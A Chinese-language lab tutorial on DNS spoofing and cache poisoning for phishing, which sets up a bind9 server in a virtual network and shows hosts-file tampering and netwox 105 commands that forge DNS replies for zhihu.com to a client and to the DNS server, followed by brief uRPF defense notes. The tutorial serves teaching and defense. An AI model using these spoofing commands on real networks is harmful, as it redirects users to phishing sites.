釣魚網站本地DNS攻擊
當你瀏覽器中敲下知乎域名電腦做了什么?
- 訪問網站概述
1.解析URL
2.DNS查詢
2.1.查詢本地瀏覽器DNS緩存
chrome://net-internals/#dns
firefox: about:config
2.2.查詢本地hosts文件
/etc/hosts
2.3.查詢本地DNS服務器
2.4.查詢上級DNS服務器
- DNS協議概述
DNS(Domain Name System)通俗的講就是手機號碼和姓名備注的系統.
比如我自己的黑客筆記
域名是:hackbiji.top([http://isgt93.github.io](https://link.zhihu.com/?target=http%3A//isgt93.github.io))
IP地址:192.30.252.154
你更愿意選擇輸入什么?DNS就是將IP地址和域名對應起來的!
- 為什么黑客能通過DNS協議釣魚
DNS欺騙示意圖:
DNS緩存中毒示意圖:
攻擊環境配置
- 虛擬機各主機地址
攻擊者:192.168.59.1
普通用戶:192.168.59.146
DNS服務器:192.168.59.151
- DNS服務器環境配置
1.安裝bind9
2.在/etc/bind/named.conf.options文件中添加:
options {
dump-file "/var/cache/bind/dump.db";
};
3.添加文件/var/cache/bind/example.com.db,內容如下:
$TTL 3D
@ IN SOA ns.example.com. admin.example.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.example.com.
@ IN MX 10 mail.example.com.
www IN A 192.168.59.151
mail IN A 192.168.59.151
ns IN A 192.168.59.151
*.example.com. IN A 192.168.59.151
4.添加文件192.168.59
,內容如下:
$TTL 3D
@ IN SOA ns.example.com. admin.example.com. (
2008111001
8H
2H
4W
1D)
@ IN NS ns.example.com.
151 IN PTR www.example.com.
151 IN PTR mail.example.com.
151 IN PTR ns.example.com.
5.重啟服務service bind9 restart
.
普通用戶環境配置
- 編輯
/etc/resolv.conf
文件的nameserver
字段為DNS服務器IP地址. -
ping www.example.com
能ping通則說明配置成功! - 通過nslookup查看
www.example.com
的IP地址為192.168.59.151
.
root@ubuntu:/etc/bind# nslookup www.example.com
Server: 127.0.1.1
Address: 127.0.1.1#53
Name: www.example.com
Address: 192.168.59.151
攻擊DNS協議
- 不要讓黑客接觸你的電腦,他會做什么?
黑客會在\etc\hosts
文件中添加下面的字段,將網址強行映射到一個錯誤的IP地址!
192.168.59.151 zhihu.com
192.168.59.151 www.zhihu.com
實際效果如圖所示:
- 不要相信黑客偽造的DNS應答報文,他怎么偽造的?
netwox 105 -h "zhihu.com" -H "192.168.59.151" -a "ns.example.com" -A "192.168.59.151" -f "src host 192.168.59.146" -d vmnet8 -T 10
欺騙瀏覽器,告訴瀏覽器zhihu.com
的IP地址是192.168.59.151
,而這個錯誤的IP地址往往就是釣魚網站!
實際效果如圖所示:
- 小心把控DNS服務器Cache時間,嚴防DNS Cache中毒!
咱們不欺騙普通主機了,現在來欺騙一下DNS服務器,讓DNS服務器緩存中毒!
netwox 105 -h "www.zhihu.com" -H "192.168.59.2" -a "ns.example.com" -A "192.168.59.2" -f "src host 192.168.59.152" -d vmnet8 -s "raw"
實際效果如圖所示:
來看看普通用戶知乎的IP地址
來看看咱們的DNS服務器緩存
# rndc flush
# rndc dumpdb -cache
# cat /var/cache/bind/dump.db | grep zhihu
如何防御DNS攻擊?
- 平時注意不要相信陌生人的電話
- 技術層面的URPF防御
URPF可以有效的針對地址欺騙類的攻擊,嚴格模式有 2 個條件,只有同時滿足兩個條件的報文,才會被檢測通過.
條件 1:在路由器轉發表中,存在去往報文源地址的路由信息.
條件 2:報文的入接口與轉發表中去往源地址路由的出接口一致.
在Router C 上配置嚴格型 URPF,當攻擊者偽裝源地址為 Normal User 地址,
報文由 RA 接口進入 Router C,由于在 Router C 的轉發表中,
去往源地址Normal User 的路由出接口為 RB,而偽造報文的入接口為 RA,
該偽造報文在Router C 上直接丟棄,并且在對稱路由中 Normal User 可以正常訪問 Server.
如圖所示:
3.其他以后再說